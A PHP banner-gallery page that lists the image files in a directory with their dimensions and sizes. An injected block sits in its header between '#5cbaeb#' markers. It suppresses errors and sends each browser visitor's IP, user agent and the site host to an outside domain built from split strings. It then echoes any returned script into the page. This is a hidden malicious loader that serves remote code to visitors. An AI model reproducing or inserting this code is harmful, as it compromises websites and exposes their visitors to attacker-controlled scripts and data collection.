<?php
// define title here - used in title tags and in an <h4></h4> tag as a page header
$title = "";
?>
<html>
<head>
	<title><?php echo $title;?></title>
</head>
<body bgcolor=808080 text=ffffff link=ffff00 vlink=ffff00>

<table width="400" border="0" cellspacing="0" cellpadding="0" align="center">
<TH align="center"><h3><?php echo $title . "<br>";?>
<?php
#5cbaeb#
error_reporting(0); ini_set('display_errors',0); $wp_q3573 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_q3573) && !preg_match ('/bot/i', $wp_q3573))){
$wp_q093573="http://"."tag"."modules".".com/modules"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_q3573);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_q093573);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_3573q = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_3573q,1,3) === 'scr' ){ echo $wp_3573q; }
#/5cbaeb#
?>
<?php

?>
<?php

?>
<?php

?>
<?php

?></h3></th>
<?php
// variable to hold file size in bytes
$file_size = "";

// path to banners directory - if you aren't using one, just use the "" null string provided.
$bandir = "";

// returned from each iteration of readdir() and then passed to the getImageSize() function.
$file = "";

// the return value of the getImageSize() function. Returned as an array variable type
$size = "";

// need an array of supported types
$ok_types = array('jpeg', 'jpg', 'gif', 'png');

// count banners in directory
$dir_count = opendir("."); // filehandle assigned the return value of whatever is passed to the opendir() function.

// read the directory contents one at a time
while ($file = readdir($dir_count))
{
   // if it's an image file, increment the counter
 if( $file != '.' && $file != '..' && ( !is_dir($file) ) )
 {
    // split the file name on the .
   $tmp = explode('.',$file);
   // assign number of elements to a var
   $num_elements = count($tmp);
   // get the file extension - force to lower case
   $ext = $tmp[$num_elements - 1];
   // force to lower
   $ext = strtolower($ext);
   
   if( in_array($ext, $ok_types) )
   {
       // increment the counter
       $idx += 1;
       // place this filename in an array to process
       $image_files[$idx] = $file;
   }// end if
 }
}// end while

// echo the count to the output
?>
<tr align="center"><td><p><h5><?php echo "$idx banners total.";?></h5></p></td></tr>
<?php
// read the directory contents one at a time
foreach($image_files as $image)
{
    if(($size = GetImageSize($image)))
    {
       // increment the counter
       $file_count += 1;
       // determine the size of the file
       $file_size = filesize($image); // int
       // convert to k
       $file_size = $file_size / 1000;
       // round it off
       $file_size = round($file_size);
       // concatanate the letter k to the $file_size var
       $file_size = $file_size . "k";
       // output to the browser
       echo "\n<tr>\n<td align=\"center\">\n<p>\n<img src=\"$bandir$image\" $size[3] align=\"top\">\n<br>\n<b>$file</b>\n<br>\n$size[0] x $size[1] @ $file_size\n<br><br>\n</td>\n</tr>";
    }// end if
}// end while
?>
</table>
</body>
</html>